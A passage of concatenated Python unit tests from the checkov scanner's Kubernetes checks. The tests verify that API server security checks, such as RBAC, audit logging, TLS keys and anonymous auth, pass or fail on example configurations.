self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAdmissionControlEventRateLimit.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerAdmissionControlEventRateLimit import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerAdmissionControlEventRateLimit(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerAdmissionControlEventRateLimit" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAlwaysPullImagesPlugin.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerAlwaysPullImagesPlugin import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerAlwaysPullImagesPlugin(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerAlwaysPullImagesPlugin" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAnonymousAuth.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerAnonymousAuth import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerAnonymousAuth(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerAnonymousAuth" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAuditLog.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerAuditLog import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerProfiling(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerAuditLog" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-pass", } failing_resources = { "Pod.kube-system.kube-apiserver-fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAuditLogMaxAge.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerAuditLogMaxAge import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerAuditLogMaxAge(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerAuditLogMaxAge" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-pass", } failing_resources = { "Pod.kube-system.kube-apiserver-fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAuditLogMaxBackup.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerAuditLogMaxBackup import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerProfiling(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerAuditLogMaxBackup" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-pass", } failing_resources = { "Pod.kube-system.kube-apiserver-missing", "Pod.kube-system.kube-apiserver-low", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAuditLogMaxSize.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerAuditLogMaxSize import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerAuditLogMaxSize(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerAuditLogMaxSize" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-pass", } failing_resources = { "Pod.kube-system.kube-apiserver-missing", "Pod.kube-system.kube-apiserver-low", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAuthorizationModeNode.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerAuthorizationModeNode import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerAuthorizationModeNode(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerAuthorizationModeNode" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-pass", } failing_resources = { "Pod.kube-system.kube-apiserver-missing", "Pod.kube-system.kube-apiserver-no-mode", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAuthorizationModeNotAlwaysAllow.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerAuthorizationModeNotAlwaysAllow import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerAuthorizationModeNotAlwaysAllow(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerAuthorizationModeNotAlwaysAllow" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-no-mode", "Pod.kube-system.kube-apiserver-no-allow", } failing_resources = { "Pod.kube-system.kube-apiserver-allow", "Pod.kube-system.kube-apiserver-extra-allow", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAuthorizationModeRBAC.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerAuthorizationModeRBAC import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerAuthorizationModeRBAC(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerAuthorizationModeRBAC" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-enabled", "Pod.kube-system.kube-apiserver-extra-enabled", } failing_resources = { "Pod.kube-system.kube-apiserver-no-mode", "Pod.kube-system.kube-apiserver-no-rbac", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerBasicAuthFile.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerBasicAuthFile import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerProfiling(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerBasicAuthFile" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerEncryptionProviders.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerEncryptionProviders import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerEncryptionProviders(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerEncryptionProviders" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerEtcdCaFile.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerEtcdCaFile import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerEtcdCaFile(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerEtcdCaFile" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerEtcdCertAndKey.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerEtcdCertAndKey import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerEtcdCertAndKey(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerEtcdCertAndKey" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-both-keys", } failing_resources = { "Pod.kube-system.kube-apiserver-single-key", "Pod.kube-system.kube-apiserver-no-key", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerInsecureBindAddress.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerInsecureBindAddress import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerInsecureBindAddress(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerInsecureBindAddress" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerInsecurePort.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerInsecurePort import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerInsecureBindAddress(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerInsecurePort" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerKubeletClientCertAndKey.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerKubeletClientCertAndKey import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerKubeletClientCertAndKey(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerKubeletClientCertAndKey" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-key-and-cert", } failing_resources = { "Pod.kube-system.kube-apiserver-no-key", "Pod.kube-system.kube-apiserver-both-missing", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerKubeletHttps.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerKubeletHttps import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class ApiServerKubeletHttps(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerKubeletHttps" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-default", "Pod.kube-system.kube-apiserver-enabled", } failing_resources = { "Pod.kube-system.kube-apiserver-disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerNamespaceLifecyclePlugin.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerNamespaceLifecyclePlugin import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerNamespaceLifecyclePlugin(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerNamespaceLifecyclePlugin" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerNodeRestrictionPlugin.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerNodeRestrictionPlugin import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerNodeRestrictionPlugin(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerNodeRestrictionPlugin" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerPodSecurityPolicyPlugin.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerPodSecurityPolicyPlugin import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerPodSecurityPolicyPlugin(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerPodSecurityPolicyPlugin" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerProfiling.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerProfiling import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerProfiling(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerProfiling" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-disabled", } failing_resources = { "Pod.kube-system.kube-apiserver-enabled", "Pod.kube-system.kube-apiserver-default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerRequestTimeout.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerRequestTimeout import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerRequestTimeout(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerRequestTimeout" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerSecurePort.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerSecurePort import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerSecurePort(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerSecurePort" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-secure", "Pod.kube-system.kube-apiserver-cmd-empty", } failing_resources = { "Pod.kube-system.kube-apiserver-not-secure", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerSecurityContextDenyPlugin.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerSecurityContextDenyPlugin import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerSecurityContextDenyPlugin(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerSecurityContextDenyPlugin" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerServiceAccountKeyFile.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerServiceAccountKeyFile import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerServiceAccountKeyFile(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerServiceAccountKeyFile" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerServiceAccountLookup.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerServiceAccountLookup import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerServiceAccountLookup(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerServiceAccountLookup" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerServiceAccountPlugin.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerServiceAccountPlugin import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerServiceAccountPlugin(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerServiceAccountPlugin" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerStrongCryptographicCiphers.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerStrongCryptographicCiphers import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerStrongCryptographicCiphers(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerStrongCryptographicCiphers" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerTlsCertAndKey.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.ApiServerTlsCertAndKey import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerTlsCertAndKey(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ApiServerTlsCertAndKey" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-apiserver-key-and-cert", } failing_resources = { "Pod.kube-system.kube-apiserver-no-key", "Pod.kube-system.kube-apiserver-missing", "Pod.kube-system.kube-apiserver-key-and-cert-empty", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerTokenAuthFile.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerTokenAuthFile import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerProfiling(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerTokenAuthFile" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerkubeletCertificateAuthority.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerkubeletCertificateAuthority import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerkubeletCertificateAuthority(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = 